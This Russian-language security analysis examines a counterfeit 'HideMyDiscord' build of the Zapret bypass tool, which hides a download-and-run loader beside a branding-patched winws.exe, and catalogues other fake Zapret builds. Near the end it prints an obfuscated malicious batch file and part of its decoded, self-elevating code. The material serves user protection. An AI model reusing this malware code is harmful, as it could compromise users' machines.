`08407e56658aeb04e486301a682ef3f9840c4d87241dc444b593fa974eba314a`) и содержит ровно один файл — `HideMyDiscord3.8.0.rar` на 3 490 958 байт, уложенный без сжатия. Внутренний архив запаролен и упакован **RAR версии 7**. Это важная деталь для тех, кто попробует разобрать его сам: 7-Zip формат распознаёт, показывает список файлов, но на распаковке выдаёт `Unsupported Method : v6:8M:m3` — реализация нового алгоритма в нём отсутствует. Нужен официальный `unrar` с сайта RARLAB: ```bash unrar x -p'HideMyDiscord!' HideMyDiscord3.8.0.rar ``` Получается двухслойная защита от автоматической проверки: внешний слой скрывает формат, внутренний закрыт паролем. Сканер, который берёт zip и смотрит внутрь, видит один непонятный файл и на этом останавливается. ## Что внутри: настоящая сборка плюс один лишний файл Распакованное содержимое — 52 файла: 21 вариант `Method (*).bat` со стратегиями, `service.bat` на 27 081 байт, папки `lists` и `utils`, привычная `bin` с драйвером `WinDivert` и заготовками пакетов. Скрипт диагностики `utils/test zapret.ps1` побайтово совпадает с оригиналом Flowseal (SHA-256 `f31ced24…`) — то есть большая часть сборки честная. Аномалия одна, и она видна невооружённым глазом в проводнике: ![[hidemydiscord-bin-two-exe-2026-08.png]] В папке `bin` **два исполняемых файла**: настоящий `winws.exe` на 199 КБ и `StartWin.exe` на 6065 КБ. Второго в оригинальной сборке нет вообще. Оба помечены значком контроля учётных записей — то есть требуют прав администратора. Это ровно то нарушение, которое стоит первым пунктом в [[virus|чек-листе]]: **в чистой сборке Zapret ядро одно — `winws.exe`**. Любой второй `.exe` рядом с ним — стоп-сигнал независимо от названия. ### Как он запускается Заглянем в любой стартовый скрипт, например `Method general.bat`. Строки 15 и 16: ```batch start "HideMyDiscord: Obxod" /min "%BIN%StartWin.exe" start "HideMyDiscord: Obxod" /min "%BIN%winws.exe" --wf-tcp=80,443,2053,2083,2087,2096,8443,%GameFilterTCP% ... ``` Сначала запускается неизвестная программа, следом — настоящее ядро обхода с нормальными параметрами. Обе стартуют свёрнутыми (`/min`) и под одинаковым заголовком окна, так что визуально это выглядит как один процесс запуска. Так устроен **21 файл из 23**. Какую бы стратегию пользователь ни выбрал, `StartWin.exe` стартует всегда. > [!important] Почему такая схема опаснее прежних > В разобранных ранее подделках вроде [[github-removes-clean-zapret-keeps-malware-august-2026|сборки Quantumfirear]] вредоносный `.bat` вообще не запускал обход: пользователь получал малварь и неработающий Discord — и рано или поздно шёл разбираться. Здесь обход **честно работает**, потому что ядро на месте и стратегии не тронуты. Discord чинится, голос идёт, YouTube открывается — жалоб нет, сборку советуют друзьям, а фоновый процесс продолжает делать то, ради чего его положили. Работающий продукт — лучшая маскировка, чем любая обфускация. ## Что делает `StartWin.exe` Файл — PE32+ для 64-битной Windows, графическая подсистема, 9 секций, метка времени сборки **обнулена**. Написан на Go 1.26.5. Секция `.data` заявляет виртуальный размер 34 МБ при 313 КБ на диске, цифровой подписи нет. Строк с адресами, доменами или IP в открытом виде в файле нет. Зато имена функций **не обфусцированы** — в отличие от полезных нагрузок из соседних разборов, где они были заменены случайными наборами букв. Имя модуля сборки — `loader`, и вот его функции: | Функция | Что делает по названию | | --- | --- | | `main.httpClient`, `main.downloadFile`, `main.downloadOnce` | сетевой клиент и загрузка файла, однократно | | `main.decryptBlob` | расшифровка скачанного блока данных | | `main.destPath` | вычисление пути, куда сохранить | | `main.launchPayload` | запуск полезной нагрузки | | `main.runExe`, `main.runBat`, `main.runTxtManifest` | исполнение — как программы, как batch-скрипта или по инструкции из текстового манифеста | | `main.shellExecute`, `main.openWithDefault`, `main.splitCmd` | запуск через оболочку и разбор командной строки | | `main.acquireSingleInstance`, `main.releaseSingleInstance` | блокировка, чтобы не запускалось несколько копий | Складывается однозначная схема: скачать по сети → расшифровать → положить на диск → запустить, причём способ запуска выбирается по тому, что пришло. Отдельная функция `runTxtManifest` означает, что оператор может прислать текстовый файл с инструкцией, что именно выполнить, — то есть **набор действий меняется на стороне сервера, без обновления самой раздачи**. Инструмент такого класса не имеет отношения к обходу блокировок ни в каком виде. Ядро `winws.exe` работает полностью локально и никуда не ходит; всё, что нужно сборке из сети, — это обновление списков, и оно делается штатным `service.bat` без отдельного бинарника на 6 МБ. > [!warning] Чего мы не знаем > Адрес, откуда `StartWin.exe` качает вторую ступень, не найден: строк с URL в файле нет, простая однобайтовая обфускация не подошла, а без запуска или расшифровки конфигурации адрес не извлекается. Поэтому здесь **не утверждается**, что именно загружается на компьютер — это может быть что угодно, и меняться оно может в любой момент. Утверждается ровно то, что видно: в сборке для обхода блокировок присутствует программа, скачивающая и запускающая произвольный код. ## Пропатченное ядро: мелочь, которая ломает проверку по хэшу Файл `bin/winws.exe` весит те же 203 776 байт, что и официальный, и это та же версия v72.9. Но SHA-256 у него другой: `78ef98383ba3007bcb47330519715168e908293d0bb573b5a4a8b292b9f94004` против `affb4f69d2ea302a7abccd5325d81826e140ddae014f1e070bc4a6c0dd555188` у оригинала. Побайтовое сравнение показывает: различаются **53 байта**, все подряд, в одном месте файла. Вот что там было и что стало: ``` оригинал: ...winws\0 c849e55ef0f1c244206f5a05ff7b1ab41a3824ee \0 v72.9 \0 github version %s (%s) HideMyDiscord: ...winws\0 hidemydiscord.com \0\0\0...\0 v72.9 \0 HideMyDiscord. %s (%s) ``` Заменили строку с хэшем коммита, из которого собрано ядро, на адрес своего сайта, а надпись «github version» — на «HideMyDiscord». Ничего вредоносного этот патч не делает: он нужен, чтобы в окне запуска светилось имя раздачи, а не первоисточник. Результат виден в первой же строке консоли при запуске сборки: ![[hidemydiscord-patched-winws-console-2026-08.png]] `HideMyDiscord. v72.9 (hidemydiscord.com)` — вместо `github version v72.9 (c849e55ef0f1c244206f5a05ff7b1ab41a3824ee)`, которое печатает официальное ядро. Всё остальное в выводе настоящее: загружаются хостлисты, поднимается `windivert`, обход стартует. Заголовок окна — `HideMyDiscord: Obxod`, тот самый, под которым строкой раньше запустился `StartWin.exe`. > [!note] Как это выглядит для пользователя > Ровно так, как должно выглядеть работающее приложение: понятный лог, знакомые строки про хостлисты, «capture is started» в конце. Ничто в этом окне не намекает, что рядом уже запущен второй процесс. Единственная зацепка — имя в первой строке: у настоящей сборки там `github version` и хэш коммита, а не название чужого сайта. Практическое следствие важнее мотива. **Ядро больше не совпадает с официальным по хэшу**, то есть сверка контрольных сумм с публикацией bol-van покажет расхождение — и это правильный сигнал: файл, который выдаёт себя за официальный `winws.exe`, был изменён посторонним. Заодно это присвоение чужой работы: ядро написал bol-van, а имя в нём стоит чужое. ### Куда это ведёт: троян внутри самого ядра Здесь стоит остановиться и сказать вслух то, что следует из находки. Пока патч безобидный — поменяли две строки в секции данных ради брендинга. Но **важен не результат, а пройденный барьер**: раздача уже умеет модифицировать чужой скомпилированный бинарник и раздавать его как оригинал, и никто из 175 скачавших этого не заметил. Следующий шаг напрашивается сам. Сейчас вредоносная часть лежит отдельным файлом `StartWin.exe` рядом с ядром — её видно в проводнике, видно в списке процессов, видно в тексте `.bat`. Если вместо этого дописать нужное **внутрь `winws.exe`**, снаружи не изменится ничего: файл с тем же именем, того же порядка размера, в папке по-прежнему один исполняемый файл, стартовые скрипты чистые, обход работает. Все признаки из чек-листов перестают срабатывать разом. Защититься от этого нельзя ни осмотром папки, ни чтением скриптов, ни здравым смыслом. Работает ровно одна проверка — **сверка хэша ядра с публикацией первоисточника**. > [!danger] Почему ядро нельзя проверить никак иначе > У официального `winws.exe` **нет цифровой подписи**: каталог сертификатов в файле пуст (проверено и для оригинала, и для версии из этой раздачи). Подписан только драйвер `WinDivert64.sys` — он обязан быть подписан, иначе Windows не загрузит его в ядро. Это значит, что Windows не сообщит о подмене `winws.exe`, антивирус не увидит нарушенной подписи, а «свойства файла» ничего не докажут. Единственный признак подлинности ядра — его контрольная сумма. Отсюда практическая рекомендация, и она адресована не только пользователям: - **Пользователю** — брать сборку из [[Zapret/download|официальных источников]] и сверять `sha256sum bin/winws.exe` с хэшем, опубликованным автором ядра; хэши известных версий собраны в [[virus#Про хэш-файла|разделе о хэшах]]. - **Сборщикам** — публиковать хэши ядра рядом со сборкой и собирать релизы через CI с открытым логом, чтобы происхождение файла можно было проследить, а не принимать на веру. > [!warning] Это прогноз, а не наблюдение > Заражённого `winws.exe` — такого, где во внутренностях ядра появился бы посторонний код, — на 11 августа 2026 не задокументировано: во всех разобранных раздачах ядро либо не тронуто вовсе, либо изменено только в строках. Здесь описывается, куда логично движется приём, а не то, что уже произошло. Но барьер «мы правим чужой бинарник» уже взят, а от брендинга до полезной нагрузки — вопрос намерения, а не сложности. ## Как проверить такую сборку самому Ни один из шагов не требует запуска подозрительных файлов. Посмотреть, что вообще внутри архива, не распаковывая: ```bash unrar l -p'ПАРОЛЬ' архив.rar ``` Найти лишние исполняемые файлы — в чистой сборке Zapret ровно один `winws.exe`: ```bash find . -iname "*.exe" -o -iname "*.dll" -o -iname "*.sys" | sort ``` Проверить, что запускают стартовые скрипты (в Windows — обычный «Блокнот», файл при этом не выполняется): ```bash grep -n "^start" *.bat ``` Восстановить имя репозитория по ссылке на файл релиза, если сайт прячет источник: ```bash curl -s https://api.github.com/repositories/ЧИСЛО_ИЗ_ССЫЛКИ | grep full_name ``` И главное — сверить ядро с официальным (это единственная проверка, которая переживёт следующее поколение подделок): ```bash sha256sum bin/winws.exe ``` Для сборки HideMyDiscord 3.8.0 команда даёт `78ef98383ba3007bcb47330519715168e908293d0bb573b5a4a8b292b9f94004`, тогда как официальное ядро версии v72.9 — `affb4f69d2ea302a7abccd5325d81826e140ddae014f1e070bc4a6c0dd555188`. Не сошлось — значит файл трогали, и неважно, ради надписи в консоли или ради чего-то ещё. ## Что делать, если запускали - [ ] Отключите интернет и завершите процессы `StartWin.exe` и `winws.exe` через диспетчер задач. - [ ] Удалите папку со сборкой целиком; скачайте обход заново из [[Zapret/download|официальных источников]]. - [ ] Проверьте систему сторонним антивирусом и посмотрите автозагрузку и планировщик задач — загрузчик, отработавший один раз, мог оставить в системе что угодно. - [ ] Смените пароли с **чистого** устройства и завершите активные сессии в Discord, Telegram и почте: подробный порядок — в разделе «Что делать, если запустил» [[discord-cdn-fix-fake-repos-june-2026|разбора сети клонов]]. - [ ] Учтите, что рабочий Discord после запуска этой сборки **не означает**, что всё в порядке: обход и загрузчик — разные процессы. ## 📚 См. также - [[virus|👾 Каталог вирусных сборок Zapret и чек-лист проверки]] — правило «только один `winws.exe`», которое эта раздача нарушает буквально - [[github-removes-clean-zapret-keeps-malware-august-2026|🎭 GitHub снёс чистые сборки Zapret, а вирусные оставил]] — сборка с того же конвейера аккаунтов, но с payload прямо внутри `.bat` - [[fixit-arcane-stealer-kaspersky-august-2026|🪤 Fixit — приманка для стилера Arcane]] — масштаб фабрики аккаунтов и приём «ссылка вместо файла» - [[discord-cdn-fix-fake-repos-june-2026|🪪 Сеть клонов Bypass Ultimate / discord-cdn-fix]] — что делать при заражении и как выглядят массовые подделки - [[Zapret/download|Как скачать Zapret из официальных источников]] - 🔗 [Flowseal/zapret-discord-youtube](https://github.com/Flowseal/zapret-discord-youtube) — оригинальная сборка, на базе которой сделана раздача - 🔗 [VirusTotal](https://www.virustotal.com) — куда отправлять распакованные файлы для проверки --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/virus/hidemydiscord-loader-august-2026.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- [[home|На главную]] # 👾 О вирусах в Запрет! Рассказываем про WinDivert >Новая группа про реальные вирусные сборки запрета: https://t.me/zapretvirus > [!CAUTION] > [Касперский](https://github.com/bol-van/zapret/issues/611) и иные российские вирусы начали войну с запретами и иными средствами обхода блокировок. Чтобы использовать их спокойно рекомендуется перейти на **альтернативные** антивирусы (Defender, ESET32 и т.д.), которые не выдают ложные и обманчивые срабатывания и помогают от большего количества угроз. Также не следует использовать российские антивирусы, либо добавлять файлы в исключения. *Запрет вирус? Обход блокировки дискорда и ютуба (discord и youtube). Если не работает дискорд или ютуб вам сюда. | Список вирусных Zapret представлен здесь...* ## Если коротко: 8 правил Ниже на этой странице — десять разобранных подделок с подробностями. Если читать некогда, вот выжимка. Правила простые, проверяются за минуту. **1. В папке `bin` должен быть один `.exe` — `winws.exe`.** Видишь второй, как бы он ни назывался (`StartWin.exe`, `Windiver.exe`, «Быстрый запуск») — выбрасывай всю сборку. Второй файл никто не кладёт «для удобства». **2. Пароль на архиве — всегда плохо.** Программа бесплатная, прятать нечего. Пароль нужен для одного: чтобы антивирус не заглянул внутрь, пока ты не распакуешь. **3. Просят отключить антивирус — закрывай страницу.** Нормальной сборке это не нужно. Совсем. **4. Смотри размер `.bat`-файлов.** Обычный — 2–4 килобайта. Если батник весит мегабайты, в нём спрятана программа. Открой блокнотом: увидишь стену из букв и цифр и слово `certutil` — это вирус. **5. Звёзды и коммиты ничего не значат.** Их покупают. Мы видели репозиторий с 200 звёздами, где аккаунт создан за полторы минуты до самого проекта. И 12 тысяч коммитов, сделанных скриптом за пять дней. И даты коммитов «из будущего» — до 31 декабря. **6. Антивирус молчит — это не значит «чисто».** Один и тот же файл: сам по себе его ловят 51 антивирус из 71, а внутри большого архива — только 10 из 58. Поэтому проверяй на [VirusTotal](https://www.virustotal.com) **распакованный** файл, а не архив. **7. Discord заработал — это тоже не значит «чисто».** Последняя подделка честно чинит Discord, а рядом тихо запускает вторую программу, которая качает из интернета что угодно. Работает — не равно безопасно. **8. Главная проверка — хэш.** Скачай сборку с официальной страницы, посчитай `sha256sum bin/winws.exe` и сравни с тем, что у автора. Не сошлось — файл трогали. Это единственная проверка, которую нельзя обмануть красивым сайтом. > [!tip] Что делать вместо проверок > Не искать сборку через поиск, рекламу и видео на YouTube. Брать по ссылкам из [[Zapret/download|официальных источников]] — там же лежат хэши. Всё, что нашлось само (красивый сайт, «новая версия 4.0», «фикс 2026») — считай чужим, пока не доказано обратное. ### Как проверить вирусы? - Проект должен быть с открытым исходным кодом. Любой лаунчер человек должен собрать сам. Поэтому у него должен быть исходный код (batфайлы, ps файлы, pyфайлы и т.д.) - Вы можете собрать его самостоятельно из исходных файлов или по крайней мере запуск производится по понятным механикам. - Одно из самых важных правил: В проекте нет ни одного неизвестного exeфайла! Должен быть только один файл winws.exe! - Если Вы (*или по крайней мере Вам кажется*) что вы поймали вирус обратитесь в [группу](https://t.me/MinerSearch_chat) - Вам помогут опытные люди с самыми различными историями. ## Почему антивирусы ругаются на Zapret (winws.exe), WinDivert и ZapretGUI? Многие пользователи, впервые скачав Zapret, видят предупреждение антивируса со страшным словом «`Trojan`» и сразу паникуют. Давайте разберёмся, почему это происходит и стоит ли беспокоиться. ### Как работают современные антивирусы Антивирусы используют два основных метода обнаружения угроз: 1. **Сигнатурный анализ** — антивирус сравнивает файл с базой известных вирусов. Если файл совпадает с образцом вредоносной программы, он блокируется. 2. **Эвристический (поведенческий) анализ** — антивирус анализирует, *что делает* программа. Если её поведение похоже на типичное поведение вирусов, срабатывает предупреждение. Именно здесь кроется причина ложных срабатываний. ### Почему Zapret вызывает подозрения Zapret выполняет действия, которые *технически* похожи на то, что делают некоторые вредоносные программы: - **Изменяет файл hosts** — этот системный файл отвечает за сопоставление доменных имён с IP-адресами. Вирусы часто его модифицируют, чтобы перенаправлять вас на фишинговые сайты. Zapret же использует его для корректной работы обхода блокировок. - **Работает с сетевым трафиком на низком уровне** — программа перехватывает и модифицирует сетевые пакеты. Это необходимо для обхода DPI, но такое же поведение характерно для шпионских программ. - **Использует системные драйверы** — `WinDivert` и `Monkey.sys` позволяют программе взаимодействовать с сетевым стеком Windows. Это легитимные драйверы, но сам факт их использования настораживает антивирус. ### Что означает детект «Trojan:Win32/Bearfoos.B!ml» Обратите внимание на окончание `!ml` в названии угрозы. Это означает **machine learning** — то есть не человек-аналитик пометил файл как вирус, а нейросеть Microsoft Defender решила, что поведение программы «подозрительное». Такие детекты часто бывают ложными, особенно для программ, работающих с системными компонентами. Вот безопасный пример обнаружение "вируса": ![[Pasted image 20251220210625.png]] ![[Pasted image 20251220210803.png]] ### Что означает детект «Trojan:Win32/Sabsik.FL.A!ml» Аналогично Bearfoos это всего лишь ИИ обнаружение. Как написано [здесь](https://www.reddit.com/r/antivirus/comments/1bqsjws/trojanwin32sabsikflaml_badly_need_help_im/) большинство таких файлов полностью безопасны. Например такие срабатывания были на безопасные и открытые [GitHub проекты](https://github.com/bevyengine/bevy/discussions/11624). ![[Pasted image 20260206183055.png]] ### Чего Zapret НЕ делает Настоящие трояны обычно: - крадут пароли и cookies из браузеров - сканируют папки в поисках ценных файлов - отправляют ваши данные на серверы злоумышленников - устанавливают скрытые майнеры или бэкдоры Zapret ничего из этого не делает. Исходный код программы полностью открыт — любой желающий может его изучить и убедиться в отсутствии вредоносного кода ### Прозрачность сборки Помимо открытого исходного кода, проект использует GitHub Actions для автоматической сборки. Это означает, что каждый релиз программы собирается прямо на серверах GitHub из публичного кода, а не на чьём-то личном компьютере. Вы можете сами проверить историю сборок по адресу: https://git.zapret.moe/zapretdiscordyoutube/zapretgui/actions Там видно, какой именно коммит (версия кода) использовался для каждой сборки, кто его сделал и когда. Зелёная галочка означает успешную сборку. Это гарантирует, что в скачанный вами файл никто не мог тайно подложить вредоносный код — вы получаете ровно то, что собрано из открытых исходников. ### Антивирус сработал, хотя раньше всё было нормально Частая ситуация: вы пользовались Zapret несколько недель или месяцев без проблем, а потом Windows Defender внезапно начинает на него ругаться. Код программы при этом мог вообще не меняться. Почему так происходит? Microsoft постоянно обновляет базы и алгоритмы Defender. Нейросеть переобучается, добавляются новые сигнатуры, меняются критерии «подозрительности». В какой-то момент обновлённый антивирус решает, что программа, которую он раньше пропускал, теперь выглядит опасной. К нам регулярно (буквально раз в неделю) приходят пользователи с одинаковой историей: «Всё работало отлично, ничего не менял, а сегодня Defender удалил Zapret». Это нормально и не означает, что программа стала вредоносной — просто антивирус обновил свои правила. Вот только ЧАСТЬ реальных скриншотов что раньше Дефендер не ругался, однако "после какого-то обновления" начал это делать. Они датируются ещё 2024 годом. Запомните - сам по себе детект Дефендера не означает что это обязательно вирус. Нужно смотреть ЧТО это за вирус и через эвристику был получен этот детект. ![[Pasted image 20251220211521.png]] ![[Pasted image 20251220211540.png]] ![[Pasted image 20251220211546.png]] ![[Pasted image 20251220211557.png]] ![[Pasted image 20251220211620.png]] Что делать в такой ситуации: добавьте папку с Zapret в исключения Windows Defender и заново скачайте программу. ### Про драйверы WinDivert и Monkey.sys Эти файлы — не часть Zapret, а отдельные общедоступные драйверы. WinDivert разработан для легитимного перехвата сетевого трафика и используется во множестве программ: файрволах, анализаторах трафика, VPN-клиентах. Подробнее о нём можно почитать [здесь](https://ntc.party/t/windivert-%D1%87%D1%82%D0%BE-%D1%8D%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%B7%D0%B0%D1%87%D0%B5%D0%BC-%D0%B2-%D0%BD%D1%91%D0%BC-%D0%BC%D0%B0%D0%B9%D0%BD%D0%B5%D1%80/12838). Эти же драйверы использует оригинальный проект bol-van. Вы можете добавить файл в исключение: 1. Сам `exe` файл 2. Саму папку по [[path|следующим]] путям Вот [пример](https://www.virustotal.com/gui/file/a188ff24aec863479408cee54b337a2fce25b9372ba5573595f7a54b784c65f8/detection) незараженного dll файла, который всего лишь изменяет код некоторых файлов для запуска пиратской игры. Данный dll хорошо известен и достаточно популярный на запада, однако антивирусы сходят с ума когда его видят. ![[Pasted image 20251220205747.png]] `Win64/Trojan.Generic.HgEATiwA` — китайские антивирусы часто нумируют так неизвестные им программы, которые как-то вшиваются в трафик. Доказательства этому приведены здесь, здесь и здесь. `NotAVirus` — частый детект различных китайских вирусов, но он так и подписан - не вирус. Это значит что файл просто выполняет подозрительные действия, но напрямую не является трояном. ## Про хэш-файла Неизвестные источники всё же могут маскировать Zapret под вирусы. Есть способ защититься от этого - всегда сверяйте хэш файла WinDivert.dll и winws.exe. Если хэш суммы одинаковые, это значит что файлы никак не были изменены автором и были загружены из оригинального источника. Проверить хэш файла можно [здесь](https://hash-file.online). Вот несколько старых хэшей файлов (есть и другие). [Оригинальные](https://www.virustotal.com/gui/file/0453fce6906402181dbff7e09b32181eb1c08bb002be89849e8992b832f43b89/detection) хэщи программы winws.exe - MD5 `444fe359ca183016b93d8bfe398d5103` - SHA-1 `61716de8152bd3a59378a6cd11f6b07988a549d5` - SHA-256 `0453fce6906402181dbff7e09b32181eb1c08bb002be89849e8992b832f43b89` Версия [v68](https://www.virustotal.com/gui/file/c26719336725fda6d48815582acee198c0d7d4f6a6f9f73b5e0d58ca19cfbe35/detection) - MD5 `c36c5c34d612ffc684047b7c87310a1f` - SHA-1 `5b9a89d08554f911e93665a3910ff16db33bf1ce` - SHA-256 `c26719336725fda6d48815582acee198c0d7d4f6a6f9f73b5e0d58ca19cfbe35` Другие версии проверяйте самостоятельно [здесь](https://github.com/bol-van/zapret-win-bundle/tree/master/zapret-winws). ## Реальные вирусы Однако не смотря на это были найдены примеры реально вирусных запретов. Почему это так, и как проверить любую версию Запрет самостоятельно - давайте разбираться. ### 1. PeekBot - первый автор Впервые вирусы в Zapret начал распространять телеграм канал peekbot начал распространять [вирусы](https://github.com/Flowseal/zapret-discord-youtube/issues/794) под предлогом Zapret. Будьте внимательны! Также у них имеется вредоносный сайт https://gitrok.com! В папке висит вирусный cygwin.exe который весит свыше 13 МБ. Такие [большие файлы](https://www.virustotal.com/gui/file/5591f24e96ed8d2877ac056955f5aaeb45fab792f1b35d635ae4a961c7000e26/detection) никогда не находились в оригинальном Zapret. ### 2. SkyWinFo - майнер, стилер SkyWinFo - инженер ВПН который пошёл по скользкой дорожке и попытался превратить безвирусный запрет в самый настоящий вирус. Также был определён его тип и основная активность. Он притворялся запретом от Сensorliber. 🚩 Красные флаги: - Не имеет исходного кода на GitHub - Имеет архив `rar`, причём с паролем (не ясно зачем) - Просит запустить `zapret.exe`, а не `zapret.bat` - Нет связи с автором В инструкции происходит некая каша и неразбериха, например указаны разные ссылки на источники (первый файл вирусный, второй реальный скрипт): ![[Pasted image 20251220205945.png]] Репозиторий github.com/SkyWinFo/Zapret- В файле лежит неизестный вирусный файл, размер которого явно превышает несколько КБ (как оригинальный `winws.exe`): ![[Pasted image 20251220205959.png]] Имеет [слишком](https://www.virustotal.com/gui/file/74ad0e6a891ce535144f2a5b002ee3e4fd62a7197f274f63c24b928580895087) много [срабатываний](https://www.virustotal.com/gui/file/b15c8e2296c573cab1f9d51a643948620200be8f40f3a09b3c8fe56ad923d227) антивирусов, некоторые обнаружения прямо указывает на троян. При [анализе файла сканирует папки на куки файлы](https://www.hybrid-analysis.com/sample/b15c8e2296c573cab1f9d51a643948620200be8f40f3a09b3c8fe56ad923d227/677be877a8d7713c64036581), создаёт папки для криптокошелков и пытается запустить множество процессов. Отправляет данные на неизвестный сайт. ### 3. Cactuz - троян Новый тип вирусов с файлом `winwsdriver.exe`. Их Телеграм группа: ![[Pasted image 20251220210032.png]] Пост с вирусом: ![[Pasted image 20251220210036.png]] Их ютуб канал: ![[Pasted image 20251220210040.png]] Очень палёный вирус, который даже не пытается скрыть что он вирус. Второй EXE файл в папке `bin` который не должен был там быть - `winwsdriver.exe`. ![[Pasted image 20251220210045.png]] Батник `general.bat` запускает два exe файла, что опять же не нужно. ![[Pasted image 20251220210054.png]] На VirusTotal [СВЫШЕ 55 срабатываний](https://www.virustotal.com/gui/file/26b585599d0a8583af6e6aab0736b08cf81116a7d3ad9e0a826841663a099735)! 🚩 Красные флаги: - Не имеет исходного кода на GitHub - Имеет архив rar, причём с паролем (не ясно зачем) - Лишние файлы в папке bin - Нет связи с автором ### 4. Interfix - вероятно вирус Также известен как Фиксик, trapper1337. ![[Pasted image 20251220210120.png]] Неизвестный ютубер trapper1337, в Telegram подписан как Фиксик. В Telegram канал закрыты комментарии, обратной связи с ним нет. Неизвестный exe файл выглядит как подозрительный, но чёткой вирусной активности нет. Ютуб канал: ![[Pasted image 20251220210126.png]] В папке `bin` лежит лишний файл `elevator.exe`. ![[Pasted image 20251220210130.png]] ![[Pasted image 20251220210137.png]] Файл `start.cmd` запускает два EXE файла, что не требуется для Zapret ![[Pasted image 20251220210148.png]] Подозрительный файл [не имеет много детектов антивирусов](https://www.virustotal.com/gui/file/ee56928e8e1c7178c1cf6b688cc8dcbcae2692e96654cea5e179a70420520aee/detection), поэтому чётко заявлять что это троян нельзя. При этом всё же [поведение файла является подозрительным](https://www.hybrid-analysis.com/sample/ee56928e8e1c7178c1cf6b688cc8dcbcae2692e96654cea5e179a70420520aee/677bf1e7499fa6bdbc07e686), соединение с какими-то сайтами но не указано какими: ![[Pasted image 20251220210212.png]] Красные флаги: - Не имеет исходного кода на GitHub - Имеет архив `rar`, причём с паролем (не ясно зачем) - Лишние файлы в папке `bin` - Нет связи с автором - Аналогичный файл можно встретить в сборке от YanGusik FuckDiscordPI. ![[Pasted image 20251220210229.png]] ### 5. Discord NewFix - скрытый вирус Данный вирус пытается обфускацировать свой код с помощью программ запутывания кода. ![[Pasted image 20251220210238.png]] Неизвестный файл `discord.bat` с иероглифами, который автор канал просит запустить: ```python 挦獬਍敀档景൦ഊ椊⁦硥獩⁴┢单剅剐䙏䱉╅䅜灰慄慴䱜捯污停捡慫敧屳楍牣獯景⹴楗摮睯即潴敲䱜捯污瑓瑡履䥌䕃华⹅硴≴⠠਍††潧潴匠楫䍰摯൥⤊਍਍灯湥楦敬⁳渾汵㈠渾汵਍晩┠牥潲汲癥汥‥敮ⁱ‰ന †瀠睯牥桳汥䌭浯慭摮∠瑓牡⵴牐捯獥⁳┧晾✰ⴠ敖扲爠湵獁ഢ †攠楸⁴戯਍ഩഊ椊⁦硥獩⁴┢摾ば楢屮祣睧湩⸲汤≬⠠਍††潣祰∠縥灤戰湩捜杹楷㉮搮汬•┢䕔偍尥癪攮數•渾汵㈠☾റ⤊攠獬⁥ന †攠楸⁴戯ㄠ਍ഩഊ椊⁦硥獩⁴┢䕔偍尥癪攮數•ന †猠慴瑲∠•┢䕔偍尥癪攮數•猯㸠畮㸲ㄦ਍ 汥敳⠠਍††硥瑩⼠⁢റ⤊਍਍晩渠瑯攠楸瑳∠唥䕓偒佒䥆䕌尥灁䑰瑡屡潌慣屬慐正条獥䵜捩潲潳瑦圮湩潤獷瑓牯履潌慣卬慴整•ന †洠摫物∠唥䕓偒佒䥆䕌尥灁䑰瑡屡潌慣屬慐正条獥䵜捩潲潳瑦圮湩潤獷瑓牯履潌慣卬慴整•渾汵㈠☾റ⤊਍਍晩攠楸瑳∠縥灤到䅅䵄⹅摭•ന †挠灯⁹┢摾ば䕒䑁䕍洮≤∠唥䕓偒佒䥆䕌尥灁䑰瑡屡潌慣屬慐正条獥䵜捩潲潳瑦圮湩潤獷瑓牯履潌慣卬慴整䱜䍉久䕓圭⹄硴≴㸠畮㸲ㄦ਍ 汥敳⠠਍††硥瑩⼠⁢റ⤊਍਍捳瑨獡獫⼠牣慥整⼠湴∠楍牣獯景屴楗摮睯屳楗摮睯啳摰瑡履湗敔灭•琯⁲尢樢癡睡≜ⴠ慪⁲≜唥䕓偒佒䥆䕌⼥灁䑰瑡⽡潌慣⽬慐正条獥䴯捩潲潳瑦圮湩潤獷瑓牯⽥潌慣卬慴整䰯䍉久䕓圭⹄硴屴∢⼠捳漠汮杯湯⼠汲栠杩敨瑳⼠⁦渾汵㈠☾റഊ㨊歓灩潃敤਍਍档灣㘠〵㄰㸠畮൬㨊›㔶〰️‱ 呕ⵆസഊ挊⁤搯∠縥灤∰਍慣汬挠敨正畟摰瑡獥戮瑡猠景൴攊档㩯਍਍敳⁴䥂㵎縥灤戰湩൜ഊ猊慴瑲∠慺牰瑥›楤捳牯≤⼠業┢䥂╎楷睮⹳硥≥ⴠ眭ⵦ捴㵰㐴″ⴭ晷甭灤㐽㌴㔬〰️〰️㔭㄰〰️帠਍ⴭ楦瑬牥甭灤㐽㌴ⴠ栭獯汴獩㵴氢獩⵴楤捳牯⹤硴≴ⴠ搭楰搭獥湹㵣慦敫ⴠ搭楰搭獥湹ⵣ敲数瑡㵳‶ⴭ灤⵩敤祳据昭歡ⵥ畱捩∽䈥义焥極彣湩瑩慩彬睷彷潧杯敬损浯戮湩•ⴭ敮⁷൞ⴊ昭汩整⵲摵㵰〵〰️ⴰ〵〱‰ⴭ灩敳㵴椢獰瑥搭獩潣摲琮瑸•ⴭ灤⵩敤祳据昽歡⁥ⴭ灤⵩敤祳据愭祮瀭潲潴潣ⴭ灤⵩敤祳据挭瑵景㵦㍤ⴠ搭楰搭獥湹ⵣ敲数瑡㵳‶ⴭ敮⁷൞ⴊ昭汩整⵲捴㵰㐴″ⴭ潨瑳楬瑳∽楬瑳搭獩潣摲琮瑸•ⴭ灤⵩敤祳据昽歡ⱥ灳楬⁴ⴭ灤⵩敤祳据愭瑵瑯汴㈽ⴠ搭楰搭獥湹ⵣ敲数瑡㵳‶ⴭ灤⵩敤祳据昭潯楬杮戽摡敳ⁱⴭ灤⵩敤祳据昭歡ⵥ汴㵳┢䥂╎汴彳汣敩瑮敨汬彯睷彷潧杯敬损浯戮湩ഢ ``` ![[Pasted image 20251220210255.png]] ![[Pasted image 20251220210259.png]] При расшифровке данного файла окажется что исходный код был пропущен через `batch-obfuscator` и загружает данный код: ```python &cls @echo off if exist "%USERPROFILE%\AppData\Local\Packages\Microsoft.WindowsStore\LocalState\LICENSE.txt" ( goto SkipCode ) openfiles >nul 2>nul if %errorlevel% neq 0 ( powershell -Command "Start-Process '%~f0' -Verb runAs" exit /b ) if exist "%~dp0bin\cygwin2.dll" ( copy 